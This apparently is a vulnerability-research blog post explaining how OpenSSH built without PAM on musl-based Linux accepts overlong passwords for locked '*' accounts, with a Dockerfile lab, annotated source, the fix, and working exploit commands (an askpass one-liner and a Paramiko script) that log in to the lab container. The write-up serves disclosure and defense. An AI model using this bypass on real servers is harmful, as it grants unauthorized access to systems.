# How a one-character password hash gives you root

2026-11-05 · Matt Vogt · 8 min read · Vulnerability Research

Canonical: https://www.osec.com/resources/blog/one-character-password-hash-gives-you-root

---

On a default Alpine Linux installation, root has no password. Its `/etc/shadow` entry is `root:*:...`, where the asterisk denotes a locked account.

On musl-based Linux, OpenSSH authenticates any account with a `*` password hash when it receives an overlong password. Two attempts in one TCP connection, each over 256 bytes, and the comparison succeeds.

The issue spans four functions across musl, libc and OpenSSH.

## The setup

The target runs a musl-based Linux distribution (Alpine, OpenWrt, Buildroot, Yocto). OpenSSH is compiled without PAM (Alpine's default). Password authentication is enabled (OpenSSH's default). At least one other account on the system has a real password hash in `/etc/shadow`. A default Alpine installation with one password-bearing user meets all conditions.

The following Dockerfile builds a reproduction environment. It pins the pre-fix OpenSSH packages, creates a locked target account (alpine, shadow entry `*`), and a second account (authsource) with a real `$6$` password hash:

```dockerfile
FROM alpine:3.24.1

ARG TARGETARCH
ARG ALPINE_MAIN_REPO=https://dl-cdn.alpinelinux.org/alpine/v3.24/main
ARG OPENSSH_PACKAGE_VERSION=10.3_p1-r1

RUN set -eux; \
    apk update; \
    case "$TARGETARCH" in \
        amd64) alpine_arch=x86_64 ;; \
        arm64) alpine_arch=aarch64 ;; \
        *) echo "Unsupported target architecture: $TARGETARCH" >&2; exit 1 ;; \
    esac; \
    for package in \
        openssh-server-pam \
        openssh-server-common \
        openssh-keygen; \
    do \
        apk_file="/tmp/${package}-${OPENSSH_PACKAGE_VERSION}.apk"; \
        wget \
            --output-document="$apk_file" \
            "${ALPINE_MAIN_REPO}/${alpine_arch}/${package}-${OPENSSH_PACKAGE_VERSION}.apk"; \
    done; \
    apk add \
        "/tmp/openssh-server-pam-${OPENSSH_PACKAGE_VERSION}.apk" \
        "/tmp/openssh-server-common-${OPENSSH_PACKAGE_VERSION}.apk" \
        "/tmp/openssh-keygen-${OPENSSH_PACKAGE_VERSION}.apk"; \
    rm \
        "/tmp/openssh-server-pam-${OPENSSH_PACKAGE_VERSION}.apk" \
        "/tmp/openssh-server-common-${OPENSSH_PACKAGE_VERSION}.apk" \
        "/tmp/openssh-keygen-${OPENSSH_PACKAGE_VERSION}.apk"; \
    ssh-keygen -A

RUN set -eux; \
    { \
        printf '%s\n' \
            'PasswordAuthentication yes' \
            'UsePAM no'; \
        cat /etc/ssh/sshd_config; \
    } > /tmp/sshd_config; \
    mv /tmp/sshd_config /etc/ssh/sshd_config

RUN set -eux; \
    adduser -D alpine; \
    sed -i 's/^alpine:[^:]*:/alpine:*:/' /etc/shadow; \
    adduser -D authsource; \
    printf '%s\n' 'authsource:lab-only-password' | chpasswd

EXPOSE 22
CMD ["/usr/sbin/sshd.pam", "-D", "-e"]
```

Build and run with `docker build -t sshhole . && docker run -d -p 2222:22 sshhole`. The service listens on port 2222.

OpenSSH's `sys_auth_passwd` in `auth-passwd.c` pulls the target account's stored hash from shadow, selects a `salt`, runs the submitted password through `crypt()`, and compares the result to the stored hash. The `salt` selection contains the relevant logic:

![sys_auth_passwd salt selection logic in auth-passwd.c, with the condition and return value highlighted](./fig1-auth-passwd.png)
*Figure 1 — `sys_auth_passwd` salt selection logic in auth-passwd.c*

```c
if (authctxt->valid && pw_password[0] && pw_password[1])
    salt = pw_password;
encrypted_password = xcrypt(password, salt);
```

When the stored hash is `*` (one character), `pw_password[0]` is `'*'` (truthy) but `pw_password[1]` is `\0` (falsy). The condition fails, `salt` remains `NULL`. OpenSSH passes `NULL salt` intentionally for locked accounts to run a timing-safe fake computation, preventing account enumeration through response timing.

`xcrypt()` in `openbsd-compat/xcrypt.c` handles the `NULL salt` by calling `pick_salt()`. This function scans all system accounts for a real password hash and borrows its `salt` prefix, so the fake `crypt()` call uses the same hash algorithm and takes comparable time.

![pick_salt scanning system accounts for a hash prefix and caching it in a static buffer](./fig2-pick-salt.png)
*Figure 2 — `pick_salt()` scanning accounts for a `$6$` hash prefix*

```c
static const char *
pick_salt(void)
{
    struct passwd *pw;
    char *passwd, *p;
    size_t typelen;
    static char salt[32];

    if (salt[0] != '\0')
        return salt;
    strlcpy(salt, "xx", sizeof(salt));
    setpwent();
    while ((pw = getpwent()) != NULL) {
        if ((passwd = shadow_pw(pw)) == NULL)
            continue;
        if (passwd[0] == '$' && (p = strrchr(passwd+1, '$')) != NULL) {
            typelen = p - passwd + 1;
            /*
             * bcrypt ($2*$NN$) has no '$' between its 22 character
             * salt and the hash, so keep the salt too or crypt(3)
             * will reject the setting without doing any work.
             */
            if (passwd[1] == '2' && strlen(p + 1) >= 22)
                typelen += 1 + 22;
            strlcpy(salt, passwd, MINIMUM(typelen, sizeof(salt)));
            explicit_bzero(passwd, strlen(passwd));
            goto out;
        }
    }
 out:
    endpwent();
    return salt;
}
```

The static qualifier on `salt[32]` means this buffer persists for the lifetime of the `sshd-session` process handling a given TCP connection. The guard at the top of the function (`if (salt[0] != '\0') return salt;`) ensures the full account scan runs exactly once per process. Every subsequent call returns the previously cached `salt` prefix without re-reading `/etc/shadow`. This caching is central to exploitation: the first authentication attempt populates the buffer, and the second reuses it.

If an account has a real password (authsource in the reproduction container), its shadow entry starts with `$6$` (SHA-512). `pick_salt` copies that prefix into a static buffer that persists across calls within the same process.

`xcrypt` calls `pick_salt` when `salt` is `NULL`, then passes the result to `crypt()`:

![xcrypt calling pick_salt when salt is NULL and passing the borrowed salt to crypt](./fig3-xcrypt.png)
*Figure 3 — `xcrypt()` passing borrowed salt to `crypt()`*

```c
char *
xcrypt(const char *password, const char *salt)
{
    char *crypted;

    /*
     * If we don't have a salt we are encrypting a fake password for
     * for timing purposes.  Pick an appropriate salt.
     */
    if (salt == NULL)
        salt = pick_salt();

    crypted = crypt(password, salt);
    return crypted;
}
```

The password is hashed with authsource's `$6$ salt`. On glibc, `crypt()` returns a SHA-512 hash string that does not match the stored `"*"`, and authentication fails. On musl, `crypt()` can return `"*"` under specific conditions.

musl's `crypt_r` examines the `salt` prefix to select a hash algorithm. A `$6$` prefix routes to `__crypt_sha512`; anything else falls through to `__crypt_des`. This matters because the DES path returns `"x"` on failure, not `"*"`. If the stored `"*"` were passed directly as the `salt`, `crypt_r` would take the DES path and return `"x"`, which would not match `"*"`. Authentication would fail. The exploit depends on another account having a real `$6$` password hash. `pick_salt` borrows that account's `salt` prefix, routing the overlong password through the SHA-512 path where the `KEY_MAX` check produces the `"*"` return.

![musl crypt_r dispatching on the salt prefix to the SHA-512 or DES path](./fig4-crypt-r.png)
*Figure 4 — musl `crypt_r` salt dispatch*

```c
char *__crypt_r(const char *key, const char *salt, struct crypt_data *data)
{
    char *output = (char *)data;
    if (salt[0] == '$' && salt[1] && salt[2]) {
        if (salt[1] == '6' && salt[2] == '$')
            return __crypt_sha512(key, salt, output);
    }
    return __crypt_des(key, salt, output);
}
```

With a `$6$ salt`, the password reaches musl's `__crypt_sha512` wrapper. glibc returns `NULL` from `crypt()` on failure. musl returns the string `"*"` instead:

![musl __crypt_sha512 wrapper returning the string asterisk when the self-test or hash fails](./fig5-crypt-sha512.png)
*Figure 5 — musl `__crypt_sha512` wrapper returning `"*"` on failure*

```c
char *__crypt_sha512(const char *key, const char *setting, char *output)
{
    p = sha512crypt(key, setting, output);
    q = sha512crypt(testkey, testsetting, testbuf);
    if (!p || q != testbuf || memcmp(testbuf, testhash, sizeof testhash))
        return "*";
    return p;
}
```

This was a `NULL`-safety change: callers that did not check for `NULL` would segfault. Returning `"*"` prevents the crash because no valid hash equals `"*"`, so authentication comparisons fail.

musl's SHA-512 `crypt` also enforces a 256-byte password cap (`KEY_MAX`) as a denial-of-service guard. Passwords exceeding this length cause `sha512crypt` to `return 0`, which the wrapper converts to `"*"`:

![musl sha512crypt rejecting keys longer than KEY_MAX by returning zero](./fig6-key-max.png)
*Figure 6 — musl `sha512crypt` `KEY_MAX` length check*

```c
#define KEY_MAX 256

static char *sha512crypt(const char *key, const char *setting, char *output)
{
    for (i = 0; i <= KEY_MAX && key[i]; i++);
    if (i > KEY_MAX)
        return 0;
    klen = i;
    ...
}
```

On musl, `crypt(password_over_256_bytes, "$6$...")` returns `"*"`. A locked account also stores `"*"`. The hash output matches the stored value.

On the first password attempt, `salt[0]` is the null byte. `pick_salt` runs its full account scan, finds authsource's `$6$` hash, and copies the `salt` prefix into the static buffer. The overlong password is hashed with that `$6$ salt`, musl returns `"*"`, and `sys_auth_passwd` compares `"*"` against the stored `"*"`. The strings match, but the first attempt fails due to additional validation in the authentication flow above `sys_auth_passwd`.

On the second attempt in the same connection, `pick_salt` returns the cached `$6$` prefix immediately (`if (salt[0] != '\0') return salt;`). The same chain executes and the authentication comparison succeeds. Both attempts must occur in one TCP connection because the static buffer is per-process. Each new connection spawns a new `sshd-session` process with a zeroed buffer.

## Exploitation

Against the reproduction container on port 2222:

```c
printf '#!/bin/sh\nprintf "A%.0s" $(seq 300)\n' > /tmp/askpass.sh
chmod +x /tmp/askpass.sh

SSH_ASKPASS="/tmp/askpass.sh" SSH_ASKPASS_REQUIRE=force ssh -p 2222 \
    -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
    -o PubkeyAuthentication=no -o PreferredAuthentications=password \
    -o NumberOfPasswordPrompts=2 alpine@127.0.0.1 id < /dev/null
```

The first attempt returns "Permission denied, please try again." The second returns "uid=1000(alpine) gid=1000(alpine)." The askpass script sends 300 bytes as the password. `NumberOfPasswordPrompts=2` sends both attempts in one connection. Valid password length is 257 to 1024 bytes; the upper bound is `MAX_PASSWORD_LEN` in `auth_password`.

Paramiko equivalent:

```python
import paramiko

t = paramiko.Transport(('127.0.0.1', 2222))
t.connect()

long_pass = 'A' * 300

try:
    t.auth_password('alpine', long_pass)
except paramiko.AuthenticationException:
    pass    # first attempt primes the salt cache

try:
    t.auth_password('alpine', long_pass)
except paramiko.AuthenticationException:
    print('Not vulnerable')

if t.is_authenticated():
    s = t.open_session()
    s.exec_command('id')
    print(s.recv(4096).decode())

t.close()
```

## The fix

The fix commit addresses the vulnerability at two levels. In `auth-passwd.c`, `sys_auth_passwd` now defines a minimum hash length (`MIN_PASSWORD_HASH_LEN`, set to 4) and rejects any stored password hash shorter than that threshold before comparing it to the output of `xcrypt`. A stored hash of `*` (one byte) can no longer pass this check, regardless of what `crypt()` returns. The same commit also converts `shadow_pw()` to return heap-allocated copies of shadow passwords, and `pick_salt()` now initializes its passwd pointer and uses `freezero()` to zero and release each copy after use.

The length check is the operative defense. It ensures that locked accounts (`*`, `!!`, or similar short markers in `/etc/shadow`) are excluded from the comparison path entirely, making the musl `crypt()` return value irrelevant for those accounts. The memory-safety improvements in `pick_salt()` and `shadow_pw()` eliminate a class of information exposure through uncleared password material, but do not affect whether authentication succeeds or fails.

The underlying behavior in musl remains unchanged. `crypt()` still returns `*` instead of `NULL` when `sha512crypt` fails, and `KEY_MAX` still truncates passwords at 256 bytes. Any application that compares `crypt()` output against a stored hash without a length check remains exposed to the same collision on musl-based systems.

## References

- musl crypt_r.c (v1.1.18): [git.musl-libc.org/cgit/musl/tree/src/crypt/crypt_r.c?h=v1.1.18](https://git.musl-libc.org/cgit/musl/tree/src/crypt/crypt_r.c?h=v1.1.18)
- musl crypt_sha512.c (v1.1.18): [git.musl-libc.org/cgit/musl/tree/src/crypt/crypt_sha512.c?h=v1.1.18](https://git.musl-libc.org/cgit/musl/tree/src/crypt/crypt_sha512.c?h=v1.1.18)
- OpenSSH auth-passwd.c (affected version): [github.com/openssh/openssh-portable/blob/2d023e7a95d673e93ccc1978bf8931f7335b2b53/auth-passwd.c](https://github.com/openssh/openssh-portable/blob/2d023e7a95d673e93ccc1978bf8931f7335b2b53/auth-passwd.c)
- OpenSSH xcrypt.c (affected version): [github.com/openssh/openssh-portable/blob/2d023e7a95d673e93ccc1978bf8931f7335b2b53/openbsd-compat/xcrypt.c](https://github.com/openssh/openssh-portable/blob/2d023e7a95d673e93ccc1978bf8931f7335b2b53/openbsd-compat/xcrypt.c)
- OpenSSH fix commit (pick_salt): [github.com/openssh/openssh-portable/commit/4353fdc43ef646c43a8dda7025cc1a898caf1482](https://github.com/openssh/openssh-portable/commit/4353fdc43ef646c43a8dda7025cc1a898caf1482)
